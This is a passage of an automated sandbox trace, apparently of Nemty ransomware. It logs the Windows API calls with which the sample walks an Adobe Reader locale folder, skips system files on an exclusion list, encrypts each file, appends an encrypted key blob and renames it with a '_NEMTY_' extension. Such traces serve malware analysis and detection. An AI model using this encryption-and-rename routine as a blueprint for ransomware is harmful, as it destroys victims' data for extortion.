lpMultiByteStr="RdLang32.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ITA", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.633] Sleep (dwMilliseconds=0x5) [0178.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e214730, dwHighDateTime=0x1d561e8)) [0178.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e214730, dwHighDateTime=0x1d561e8)) [0178.649] GetLastError () returned 0x0 [0178.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.649] GetLastError () returned 0x0 [0178.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.649] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.649] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.649] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.649] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="R73wXxARq/4SY4OsbsVuntPHnPCR7xkEESY0MMVKajtlQOVTd3/lJI24PFDosJsk\r\n+UOKUvk1El1M6XjfreLmhEaR+/CGKDGvQjcTXWvPw6CSvJ1bnmHuR8sm/XmNpFi9\r\nE7Lya1lLlu7FhNH0NCHJDx7r4I2//pAtn5uaCWPnzhhXaAMhLzEghEgphe+Dqn1Z\r\nbVb5q9UvErtSisW8neD8oHqE3uXP/PTyZ+d6h1ez1ruLwybHO9em7ds7P4bZ1W1N\r\nPnP/4HXOFlDDeD3e1nmMhRtXjfShvWgrCWK//18A4kLn33Pd41vRRRsvMT0bhUS4\r\nSC1pKIpEEX2wTuf9P7FfuQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\RdLang32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\rdlang32.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.650] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1404928) returned 1 [0178.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0178.650] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.650] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0178.659] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.659] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0178.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.659] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1404928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x157000 [0178.659] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.660] CloseHandle (hObject=0x2e8) returned 1 [0178.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.661] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\RdLang32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\rdlang32.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\RdLang32.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\rdlang32.ita._nemty_kgobjgd_")) returned 1 [0178.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.661] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.ITA", cAlternateFileName="READOU~1.ITA")) returned 1 [0178.661] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2=".") returned 1 [0178.661] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="..") returned 1 [0178.661] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="...") returned 1 [0178.661] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="windows") returned -1 [0178.661] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="rsa") returned -1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="NTDETECT.COM") returned 1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="ntldr") returned 1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="MSDOS.SYS") returned 1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="IO.SYS") returned 1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="boot.ini") returned 1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="boot.ini") returned 1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="ntuser.dat") returned 1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="desktop.ini") returned 1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="CONFIG.SYS") returned 1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="RECYCLER") returned -1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="bootmgr") returned 1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="programdata") returned 1 [0178.662] lstrcmpiW (lpString1="ReadOutLoud.ITA", lpString2="appdata") returned 1 [0178.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ITA", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0178.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ITA", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.ITA", lpUsedDefaultChar=0x0) returned 15 [0178.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ITA", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0178.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ITA", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.ITA", lpUsedDefaultChar=0x0) returned 15 [0178.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ITA", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0178.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ITA", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.ITA", lpUsedDefaultChar=0x0) returned 15 [0178.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ITA", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0178.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ITA", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.ITA", lpUsedDefaultChar=0x0) returned 15 [0178.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.663] Sleep (dwMilliseconds=0x5) [0178.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e23a890, dwHighDateTime=0x1d561e8)) [0178.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e23a890, dwHighDateTime=0x1d561e8)) [0178.665] GetLastError () returned 0x0 [0178.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.665] GetLastError () returned 0x0 [0178.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.665] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.665] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.665] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.665] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ud5uqcHZ9d0oie7gGpA1LrElzhj4XmUyQJT2eduzQNdqI9spn8Kva1YVkQIilyON\r\nSCMiQz7INrSCsKZiXlRIuvTbacCIav27/IC60scsyJkdvxFfbxtXjgj00hs3kHg7\r\nUB1Xl3iFs12p6gUo9GkBuXo1T83nq5t5TdlDh41YRs939yuWggpE4NtU4/h7c8cA\r\nnFTid9Lr/PXnS4Ei3Qfb0AS7gRb5mGzosZKbNzlYq7MBlfufqG6Dxeg7l2JUp0g7\r\nDT5zungNIIMgjQR+0ER0bcbbM8ZLaMaRk6aNsx1ekJ04tagldh2AwoqjKCTAiOMB\r\nDal0ftNJHieELvxhe8giKQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.665] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\ReadOutLoud.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\readoutloud.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.666] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0178.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0178.666] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.666] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0178.668] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.668] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0178.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.668] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0178.668] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.668] CloseHandle (hObject=0x2e8) returned 1 [0178.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.669] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\ReadOutLoud.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\readoutloud.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\ReadOutLoud.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\readoutloud.ita._nemty_kgobjgd_")) returned 1 [0178.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.670] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.ITA", cAlternateFileName="")) returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2=".") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="..") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="...") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="windows") returned -1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="rsa") returned -1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="NTDETECT.COM") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="ntldr") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="MSDOS.SYS") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="IO.SYS") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="boot.ini") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="boot.ini") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="ntuser.dat") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="desktop.ini") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="CONFIG.SYS") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="RECYCLER") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="bootmgr") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="programdata") returned 1 [0178.670] lstrcmpiW (lpString1="reflow.ITA", lpString2="appdata") returned 1 [0178.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ITA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 